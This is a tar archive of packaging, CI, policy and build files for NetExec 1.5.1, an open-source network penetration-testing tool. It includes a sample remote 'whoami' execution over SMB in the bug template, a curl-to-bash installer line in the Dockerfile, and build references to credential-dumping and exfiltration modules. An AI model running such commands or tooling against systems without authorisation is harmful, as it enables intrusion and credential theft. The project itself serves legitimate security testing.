pax_global_header00006660000000000000000000000064151470643170014522gustar00rootroot0000000000000052 comment=c7dc286ba65daf10402cdc470e531b84e6d3d911 NetExec-1.5.1/000077500000000000000000000000001514706431700130615ustar00rootroot00000000000000NetExec-1.5.1/.dockerignore000066400000000000000000000015271514706431700155420ustar00rootroot00000000000000tests Dockerfile *.pyc *.pyo *.pyd __pycache__ .vscode .venv .github build bin dist *.egg-info nxc/data/powersploit/Recon/Dictionaries nxc/data/powersploit/Exfiltration/NTFSParser nxc/data/powersploit/CodeExecution/Invoke-ReflectivePEInjection_Resources nxc/data/powersploit/Exfiltration/LogonUser nxc/data/powersploit/Tests nxc/data/netripper/DLL nxc/data/netripper/Metasploit nxc/data/netripper/NetRipper nxc/data/netripper/Win32 nxc/data/netripper/Release nxc/data/netripper/minhook nxc/data/netripper/x64 nxc/data/netripper/*.pdf nxc/data/netripper/*.sln nxc/data/invoke-vnc/winvnc nxc/data/invoke-vnc/vncdll nxc/data/invoke-vnc/pebytes.ps1 nxc/data/invoke-vnc/ReflectiveDLLInjection nxc/data/invoke-vnc/*.py nxc/data/invoke-vnc/*.bat nxc/data/invoke-vnc/*.msbuild nxc/data/invoke-vnc/*.sln nxc/data/RID-Hijacking/modules nxc/data/RID-Hijacking/slidesNetExec-1.5.1/.github/000077500000000000000000000000001514706431700144215ustar00rootroot00000000000000NetExec-1.5.1/.github/CODEOWNERS000066400000000000000000000002711514706431700160140ustar00rootroot00000000000000########################################## # code ownership ########################################## # default ownership: * @zblurx @Marshall-Hallenbeck @NeffIsBack @mpgnNetExec-1.5.1/.github/ISSUE_TEMPLATE/000077500000000000000000000000001514706431700166045ustar00rootroot00000000000000NetExec-1.5.1/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000026141514706431700213010ustar00rootroot00000000000000--- name: Bug report about: Create a report to help us improve title: '' labels: '' assignees: '' --- # ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗ **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior i.e.: Command: `netexec smb -u username -p password` Resulted in: ``` netexec smb 10.10.10.10 -u username -p password -x "whoami" SMB 10.10.10.10 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:domain) (signing:True) (SMBv1:False) SMB 10.10.10.10 445 DC01 [+] domain\username:password Traceback (most recent call last): ... ``` **Expected behavior** A clear and concise description of what you expected to happen. **Screenshots** If applicable, add screenshots to help explain your problem. **NetExec info** - OS: [e.g. Kali] - Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output) - Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue **Additional context** Add any other context about the problem here. NetExec-1.5.1/.github/ISSUE_TEMPLATE/config.yml000066400000000000000000000005151514706431700205750ustar00rootroot00000000000000blank_issues_enabled: false contact_links: - name: NetExec Wiki url: https://www.netexec.wiki/ about: Check the wiki for usage guides and documentation before opening an issue. - name: NetExec Discord url: https://discord.com/invite/pjwUTQzg8R about: Join the Discord for general questions and community support. NetExec-1.5.1/.github/ISSUE_TEMPLATE/feature_request.md000066400000000000000000000013211514706431700223260ustar00rootroot00000000000000--- name: Feature request about: Request a new feature or enhancement title: '' labels: '' assignees: '' --- **Please Describe The Problem To Be Solved** (Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.) **(Optional): Suggest A Solution** (Replace This Text: A concise description of your preferred solution. Things to address include: * Details of the technical implementation * Tradeoffs made in design decisions * Caveats and considerations for the future If there are multiple solutions, please present each one separately. Save comparisons for the very end.) NetExec-1.5.1/.github/PULL_REQUEST_TEMPLATE.md000066400000000000000000000052751514706431700202330ustar00rootroot00000000000000## Description Please include a summary of the change and which issue is fixed, or what the enhancement does. List any dependencies that are required for this change. If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md ## Type of change Insert an "x" inside the brackets for relevant items (do not delete options) - [ ] Bug fix (non-breaking change which fixes an issue) - [ ] New feature (non-breaking change which adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected) - [ ] Deprecation of feature or functionality - [ ] This change requires a documentation update - [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc) - [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description) ## Setup guide for the review Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions. In particular: - Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer. - Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as: - Is additional software needed? - GPO changes required? - Specific registry settings that need to be changed? ## Screenshots (if appropriate): Screenshots are always nice to have and can give a visual representation of the change. If appropriate, include before and after screenshot(s) to show which results are to be expected. ## Checklist: Insert an "x" inside the brackets for completed and relevant items (do not delete options) - [ ] I have ran Ruff against my changes (poetry: `poetry run ruff check .`, use `--fix` to automatically fix what it can) - [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests) - [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects - [ ] I have linked relevant sources that describes the added technique (blog posts, documentation, etc) - [ ] I have performed a self-review of my own code (_not_ an AI review) - [ ] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki) NetExec-1.5.1/.github/workflows/000077500000000000000000000000001514706431700164565ustar00rootroot00000000000000NetExec-1.5.1/.github/workflows/build-binaries.yml000066400000000000000000000020271514706431700220730ustar00rootroot00000000000000name: Build Binaries on: workflow_dispatch: jobs: build: name: Building Binary on ${{ matrix.os }} runs-on: ${{ matrix.os }} strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] python-version: ["3.13"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} - name: Build Native Binary run: | pip install pyinstaller pillow pip install . pyinstaller netexec.spec - name: Upload Windows Binary if: runner.os == 'windows' uses: actions/upload-artifact@v4 with: name: nxc-windows.exe path: dist/nxc.exe - name: Upload Nix/OSx Binary if: runner.os != 'windows' uses: actions/upload-artifact@v4 with: name: nxc-${{ matrix.os }} path: dist/nxc NetExec-1.5.1/.github/workflows/build-zipapps.yml000066400000000000000000000016731514706431700217730ustar00rootroot00000000000000name: Build ZippApps on: workflow_dispatch: jobs: build: name: Building Python ZipApp on ${{ matrix.os }} runs-on: ${{ matrix.os }} strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} - name: Build Python ZipApp with Shiv run: | pip install shiv python build_collector.py - name: Upload nxc ZipApp uses: actions/upload-artifact@v4 with: name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxc - name: Upload nxcdb ZipApp uses: actions/upload-artifact@v4 with: name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxcdb NetExec-1.5.1/.github/workflows/lint.yml000066400000000000000000000016441514706431700201540ustar00rootroot00000000000000name: Lint Python code with ruff # Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233 on: push: workflow_dispatch: pull_request_review: types: [submitted] jobs: lint: runs-on: ubuntu-latest if: github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch' steps: - uses: actions/checkout@v4 - name: Install poetry run: | pipx install poetry - name: Set up Python uses: actions/setup-python@v5 with: python-version: 3.13 cache: poetry cache-dependency-path: poetry.lock - name: Install dependencies with dev group run: | poetry install --with dev - name: Run ruff run: | poetry run ruff --version poetry run ruff check . --previewNetExec-1.5.1/.github/workflows/pr-template-check.yml000066400000000000000000000034451514706431700225140ustar00rootroot00000000000000name: PR Template Check on: pull_request: types: [opened, edited] jobs: check-template: runs-on: ubuntu-latest permissions: pull-requests: write steps: - name: Check PR description for template sections uses: actions/github-script@v7 with: script: | const body = context.payload.pull_request.body || ''; const requiredSections = [ '## Description', '## Type of change', '## Setup guide for the review', '## Checklist' ]; const missingSections = requiredSections.filter( section => !body.includes(section) ); if (missingSections.length === 0) return; // Check if we already left a comment to avoid spamming const comments = await github.rest.issues.listComments({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.payload.pull_request.number }); const botComment = comments.data.find( c => c.user.type === 'Bot' && c.body.includes('') ); if (botComment) return; const missing = missingSections.map(s => `- ${s}`).join('\n'); await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.payload.pull_request.number, body: `\nIt looks like the PR template may not have been filled out. The following sections appear to be missing:\n\n${missing}\n\nPlease edit your PR description to include them. The template helps reviewers understand and test your changes. Thanks!` }); NetExec-1.5.1/.github/workflows/test.yml000066400000000000000000000030301514706431700201540ustar00rootroot00000000000000name: NetExec Tests on: workflow_dispatch: pull_request_review: types: [submitted] jobs: build: name: Test for Py${{ matrix.python-version }} if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch' runs-on: ${{ matrix.os }} strategy: max-parallel: 5 matrix: os: [ubuntu-latest] python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: Install poetry run: | pipx install poetry poetry --version poetry env info - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} cache: poetry cache-dependency-path: poetry.lock - name: Install with pipx run: | pipx install . --python python${{ matrix.python-version }} - name: Install libraries with dev group run: | poetry install --with dev - name: Load every protocol and module run: | poetry run netexec winrm 127.0.0.1 poetry run netexec vnc 127.0.0.1 poetry run netexec smb 127.0.0.1 poetry run netexec ldap 127.0.0.1 poetry run netexec wmi 127.0.0.1 poetry run netexec rdp 127.0.0.1 poetry run netexec mssql 127.0.0.1 poetry run netexec ssh 127.0.0.1 poetry run netexec ftp 127.0.0.1 poetry run netexec smb 127.0.0.1 -L NetExec-1.5.1/.gitignore000077500000000000000000000014521514706431700150560ustar00rootroot00000000000000data/nxc.db hash_spider_default.sqlite3 hash_spider_testing.sqlite3 *.bak *.log .venv pyvenv.cfg .vscode .idea # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] bin/ # C extensions *.so # Distribution / packaging .Python env/ build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ *.egg-info/ .installed.cfg *.egg # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec !netexec.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *,cover # Translations *.mo *.pot # Sphinx documentation docs/_build/ # PyBuilder target/ NetExec-1.5.1/AI_POLICY.md000066400000000000000000000075251514706431700147640ustar00rootroot00000000000000# AI Usage Policy This policy was adapted from the [ghostty project](https://github.com/ghostty-org/ghostty/). The original version can be found [Ghostty's PR #10412](https://github.com/ghostty-org/ghostty/pull/10412). The NetExec project has strict rules for AI usage: - **All AI usage in any form must be disclosed.** You must state the tool(s) and model(s) you used (e.g. Claude Code, Cursor, Opus 4.6, Codex 5.2, etc) along with the extent that the work was AI-assisted. - **Pull requests created in any way by AI can only be for accepted issues.** Drive-by pull requests that do not reference an accepted issue may be rejected and closed. If AI isn't disclosed but a maintainer suspects its use, the PR may be rejected and closed. If you want to share code for a non-accepted issue, open a discussion or attach it to the existing issue. - **Pull requests created by AI must have been fully verified with human use.** AI must not create hypothetically correct code that hasn't been tested. Importantly, you must not allow AI to write code for platforms or environments you don't have access to manually test on. - **Issues and discussions can use AI assistance but must have a full human-in-the-loop.** This means that any content generated with AI must have been reviewed _and edited_ by a human before submission. AI is very good at being overly verbose and including noise that distracts from the main point. Humans must do their research and trim this down. - **No AI-generated media is allowed (art, images, videos, audio, etc.).** Text and code are the only acceptable AI-generated content, per the other rules in this policy. - **Bad AI drivers will be banned** You've been warned. We love to help junior developers learn and grow, but if you're interested in that then don't use AI, and we'll help you. - **Official maintainers have the final say** We always strive to be helpful, but there are limits. If you submit agregiously terrible AI generated code with no review, we may ban you without word. We do not want to waste our time reviewing slop if the contributor can't be bothered to review the work themselves. These rules apply only to outside contributions to NetExec. Maintainers and trusted contributors are exempt from these rules and may use AI tools at their discretion; they've proven themselves trustworthy to apply good judgment. ## There are Humans Here Please remember that NetExec is maintained by humans. Every discussion, issue, and pull request is read and reviewed by humans (and sometimes machines, too). It is a boundary point at which people interact with each other and the work done. It is rude and disrespectful to approach this boundary with low-effort, unqualified work, since it puts the burden of validation on the maintainers. In a perfect world, AI would produce high-quality, accurate work every time, but today that is simply not true. This is compounded by the fact that accessibility to AI is high, allowing low skilled individuals to think that they are contributing useful code. Even many skilled programmers do not understand how to use it effectively. This has opened up a waterfall of low quality contributions across the Open Source community, wasting resources. ## AI is Welcome Here, Within Reason NetExec maintainers acknowledge AI as a productive tool to some workflows, and are open to leveraging this technology to improve NetExec; however, there are many low quality AI tools whose use results in pure slop being generated. The security communinity is not immune from AI psychosis, over-hype, or FOMO. As with any new technology, it is important to understand how it works and how to best use it, not blindly apply it to every use case with the hope that it will fix all your issues. We include this section to be transparent about the project's usage about AI for people who may disagree with it. NetExec-1.5.1/CODE_OF_CONDUCT.md000066400000000000000000000124331514706431700156630ustar00rootroot00000000000000# Contributor Covenant Code of Conduct ## Our Pledge We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards Examples of behavior that contributes to a positive environment for our community include: * Demonstrating empathy and kindness toward other people * Being respectful of differing opinions, viewpoints, and experiences * Giving and gracefully accepting constructive feedback * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience * Focusing on what is best not just for us as individuals, but for the overall community Examples of unacceptable behavior include: * The use of sexualized language or imagery, and sexual attention or advances of any kind * Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or email address, without their explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Enforcement Responsibilities Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. ## Scope This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior should be reported to the community leaders (i.e. official maintainers) responsible for enforcement. All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the reporter of any incident. ## Enforcement Guidelines Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: *Note*: egregious rule breaking, such as obvious trolling, death threats, etc may lead directly to a permanent ban without warning, i.e. there is no correction or warnings attempts. ### 1. Correction **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. **Consequence**: A written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. ### 2. Warning **Community Impact**: A violation through a single incident or series of actions. **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. ### 3. Temporary Ban **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. ### 4. Permanent Ban **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. **Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations. NetExec-1.5.1/CONTRIBUTING.md000066400000000000000000000047071514706431700153220ustar00rootroot00000000000000# Contributing to Transcriptase We love your input! We want to make contributing to this project as easy and transparent as possible, whether it's: - Reporting a bug - Discussing the current state of the code - Submitting a fix - Proposing new features - Becoming a maintainer ## We Develop with GitHub We use github to host code, to track issues and feature requests, as well as accept pull requests. ## We Use [GitHub Flow](https://guides.github.com/introduction/flow/index.html), So All Code Changes Happen Through Pull Requests Pull requests are the best way to propose changes to the codebase (we use [GitHub Flow](https://guides.github.com/introduction/flow/index.html)). We actively welcome your pull requests: 1. Fork the repo and create your branch from `master`. 2. If you've added code that should be tested, add tests. 3. Ensure the test suite passes. 4. Make sure your code lints. 5. Issue that pull request! ## Any contributions you make will be under the BSD-2-Clause Software License In short, when you submit code changes, your submissions are understood to be under the same [BSD-2-Clause License](https://choosealicense.com/licenses/bsd-2-clause/) that covers the project. Feel free to contact the maintainers if that's a concern. ## Report bugs using GitHub's [issues](https://github.com/Pennyw0rth/NetExec/issues) We use GitHub issues to track public bugs. Report a bug by [opening a new issue](https://github.com/Pennyw0rth/NetExec/issues/new/choose); it's that easy! ## Write bug reports with detail, background, and sample code **Great Bug Reports** tend to have: - A quick summary and/or background - Steps to reproduce - Be specific! - Give sample code if you can. - What you expected would happen - What actually happens - Notes (possibly including why you think this might be happening, or stuff you tried that didn't work) People *love* thorough bug reports. I'm not even kidding. ## Use a Consistent Coding Style [PEP](https://peps.python.org/pep-0008/) is used in this project * 4 spaces for indentation rather than tabs * Double quotes on outside of strings * We use Ruff as linter, there is a VS-Code extension available you can use ## License By contributing, you agree that your contributions will be licensed under its BSD-2-Clause License. ## References This document was adapted from the open-source contribution guidelines for [Facebook's Draft](https://github.com/facebook/draft-js/blob/a9316a723f9e918afde44dea68b5f9f39b7d9b00/CONTRIBUTING.md) NetExec-1.5.1/Dockerfile000066400000000000000000000020531514706431700150530ustar00rootroot00000000000000FROM python:3.13-slim-bookworm AS builder ENV LANG=C.UTF-8 ENV LC_ALL=C.UTF-8 ENV PIP_NO_CACHE_DIR=off WORKDIR /usr/src/netexec RUN apt update && \ apt install -y --no-install-recommends \ libffi-dev \ libxml2-dev \ libxslt-dev \ libssl-dev \ openssl \ autoconf \ g++ \ python3-dev \ curl \ git \ unzip \ && apt clean && rm -rf /var/lib/apt/lists/* RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable ENV PATH="/root/.cargo/bin:${PATH}" RUN git clone https://github.com/Pennyw0rth/NetExec.git . \ && pip install . FROM python:3.13-slim-bookworm ENV LANG=C.UTF-8 ENV LC_ALL=C.UTF-8 ENV PIP_NO_CACHE_DIR=off WORKDIR /usr/src/netexec COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages COPY --from=builder /usr/local/bin /usr/local/bin RUN apt update && \ apt install -y --no-install-recommends \ openssl \ && apt clean && rm -rf /var/lib/apt/lists/* ENTRYPOINT ["nxc"] NetExec-1.5.1/LICENSE000077500000000000000000000025251514706431700140750ustar00rootroot00000000000000Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64 Copyright (c) 2022, byt3bl33d3r All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. NetExec-1.5.1/Makefile000066400000000000000000000010601514706431700145160ustar00rootroot00000000000000.PHONY: tests default: build clean: rm -f -r build/ rm -f -r bin/ rm -f -r dist/ find . -name '*.pyc' -exec rm -f {} + find . -name '*.pyo' -exec rm -f {} + find . -name '*~' -exec rm -f {} + find . -name '__pycache__' -exec rm -rf {} + find . -name '.pytest_cache' -exec rm -rf {} + tests: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/* requirements: poetry export --without-hashes -f requirements.txt -o requirements.txt poetry export --without-hashes --dev -f requirements.txt -o requirements-dev.txtNetExec-1.5.1/README.md000077500000000000000000000075301514706431700143500ustar00rootroot00000000000000![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff) [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx) [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck) [![Twitter](https://img.shields.io/twitter/follow/mpgn_x64?label=mpgn_x64&style=social)](https://twitter.com/intent/follow?screen_name=mpgn_x64) 🚩 This is the open source repository of NetExec maintained by a community of passionate people # NetExec - The Network Execution Tool This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project. Along with many other contributors, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bug fixes, and helped maintain the original project CrackMapExec. During this time, with both a private and public repository, community contributions were not easily merged into the project. The 6-8 month discrepancy between the code bases caused many development issues and heavily reduced community-driven development. With the end of mpgn's maintainer role, we (the remaining most active contributors) decided to maintain the project together as a fully free and open source project under the new name **NetExec** 🚀 Going forward, our intent is to maintain a community-driven and maintained project with regular updates for everyone to use.

You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉 - 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues) - 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls) - 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions) ## Official Discord Channel If you don't have a Github account, you can ask your questions on Discord! [![NetExec](https://discordapp.com/api/guilds/1148685154601160794/widget.png?style=banner3)](https://discord.gg/pjwUTQzg8R) # Documentation, Tutorials, Examples See the project's [wiki](https://netexec.wiki/) (in development) for documentation and usage examples # Installation Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development) ## Linux ``` sudo apt install pipx git pipx ensurepath pipx install git+https://github.com/Pennyw0rth/NetExec ``` ## Availability on Unix distributions [![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions) # Development Development guidelines and recommendations in development # Acknowledgments All the hard work and development over the years from everyone in the CrackMapExec project # Code Contributors Awesome code contributors of NetExec: [![](https://github.com/mpgn.png?size=50)](https://github.com/mpgn) [![](https://github.com/Marshall-Hallenbeck.png?size=50)](https://github.com/Marshall-Hallenbeck) [![](https://github.com/zblurx.png?size=50)](https://github.com/zblurx) [![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack) [![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo) [![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan) [![](https://github.com/termanix.png?size=50)](https://github.com/termanix) [![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte) NetExec-1.5.1/build_collector.py000077500000000000000000000041301514706431700166010ustar00rootroot00000000000000import os import shutil import subprocess import sys import time from datetime import datetime from pathlib import Path from shiv.bootstrap import Environment from shiv.builder import create_archive from shiv.cli import __version__ as VERSION def build_nxc(): print("Building nxc") try: shutil.rmtree("bin") shutil.rmtree("build") except FileNotFoundError: pass except Exception as e: print(f"Exception while removing bin & build: {e}") try: os.mkdir("build") os.mkdir("bin") shutil.copytree("nxc", "build/nxc") except Exception as e: print(f"Exception while creating bin and build directories: {e}") return subprocess.run( [ sys.executable, "-m", "pip", "install", "-e", ".", "-t", "build", ], check=True, ) [shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")] env = Environment( built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"), entry_point="nxc.netexec:main", script=None, compile_pyc=False, extend_pythonpath=True, shiv_version=VERSION, ) create_archive( [Path("build").absolute()], Path("bin/nxc"), "/usr/bin/env -S python -sE", "_bootstrap:bootstrap", env, True, ) def build_nxcdb(): print("building nxcdb") env = Environment( built_at=datetime.utcfromtimestamp(int(time.time())).strftime("%Y-%m-%d %H:%M:%S"), entry_point="nxc.nxcdb:main", script=None, compile_pyc=False, extend_pythonpath=True, shiv_version=VERSION, ) create_archive( [Path("build").absolute()], Path("bin/nxcdb"), "/usr/bin/env -S python -sE", "_bootstrap:bootstrap", env, True, ) if __name__ == "__main__": try: build_nxc() build_nxcdb() except FileNotFoundError: pass finally: shutil.rmtree("build") NetExec-1.5.1/netexec.spec000066400000000000000000000060201514706431700153660ustar00rootroot00000000000000# -*- mode: python ; coding: utf-8 -*- block_cipher = None a = Analysis( ['./nxc/netexec.py'], pathex=['./nxc'], binaries=[], datas=[ ('./nxc/protocols', 'nxc/protocols'), ('./nxc/data', 'nxc/data'), ('./nxc/modules', 'nxc/modules') ], hiddenimports=[ 'aardwolf', 'aardwolf.connection', 'aardwolf.commons.queuedata.constants', 'aardwolf.commons.iosettings', 'aardwolf.commons.target', 'aardwolf.protocol.x224.constants', 'certipy.commands.find', 'certipy.lib.formatting', 'certipy.lib.target', 'impacket.examples.secretsdump', 'impacket.examples.regsecrets', 'impacket.dcerpc.v5.lsat', 'impacket.dcerpc.v5.transport', 'impacket.dcerpc.v5.lsad', 'impacket.dcerpc.v5.gkdi', 'impacket.dcerpc.v5.rprn', 'impacket.dcerpc.v5.even', 'impacket.dcerpc.v5.even6', 'impacket.dpapi_ng', 'impacket.tds', 'impacket.version', 'impacket.ldap.ldap', 'jwt', 'nxc.connection', 'nxc.protocols.smb.wmiexec', 'nxc.protocols.smb.atexec', 'nxc.protocols.smb.smbexec', 'nxc.protocols.smb.mmcexec', 'nxc.protocols.smb.smbspider', 'nxc.protocols.smb.passpol', 'nxc.protocols.mssql.mssqlexec', 'nxc.parsers.ldap_results', 'nxc.helpers.bash', 'nxc.helpers.bloodhound', 'nxc.helpers.even6_parser', 'nxc.helpers.msada_guids', 'nxc.helpers.ntlm_parser', 'paramiko', 'pefile', 'pypsrp.client', 'pylnk3', 'pypykatz', 'pyNfsClient', 'masky', 'msldap', 'msldap.connection', 'lsassy', 'lsassy.dumper', 'lsassy.parser', 'lsassy.session', 'lsassy.impacketfile', 'bloodhound', 'dns', 'dns.name', 'dns.resolver', 'dploot', 'dploot.triage', 'dploot.triage.rdg', 'dploot.triage.vaults', 'dploot.triage.browser', 'dploot.triage.credentials', 'dploot.triage.masterkeys', 'dploot.triage.mobaxterm', 'dploot.triage.backupkey', 'dploot.triage.wam', 'dploot.triage.wifi', 'dploot.triage.sccm', 'dploot.lib.target', 'dploot.lib.smb', 'pyasn1_modules.rfc5652', 'unicrypto.backends.pycryptodomex', 'dateutil.relativedelta', 'sspilib.raw._text', ], hookspath=['./nxc/.hooks'], runtime_hooks=[], excludes=[], win_no_prefer_redirects=False, win_private_assemblies=False, cipher=block_cipher, noarchive=False ) pyz = PYZ( a.pure, a.zipped_data, cipher=block_cipher ) exe = EXE( pyz, a.scripts, a.binaries, a.zipfiles, a.datas, [], name='nxc', debug=False, bootloader_ignore_signals=False, strip=False, upx=True, upx_exclude=[], runtime_tmpdir=None, console=True, icon='./nxc/data/nxc.ico' ) 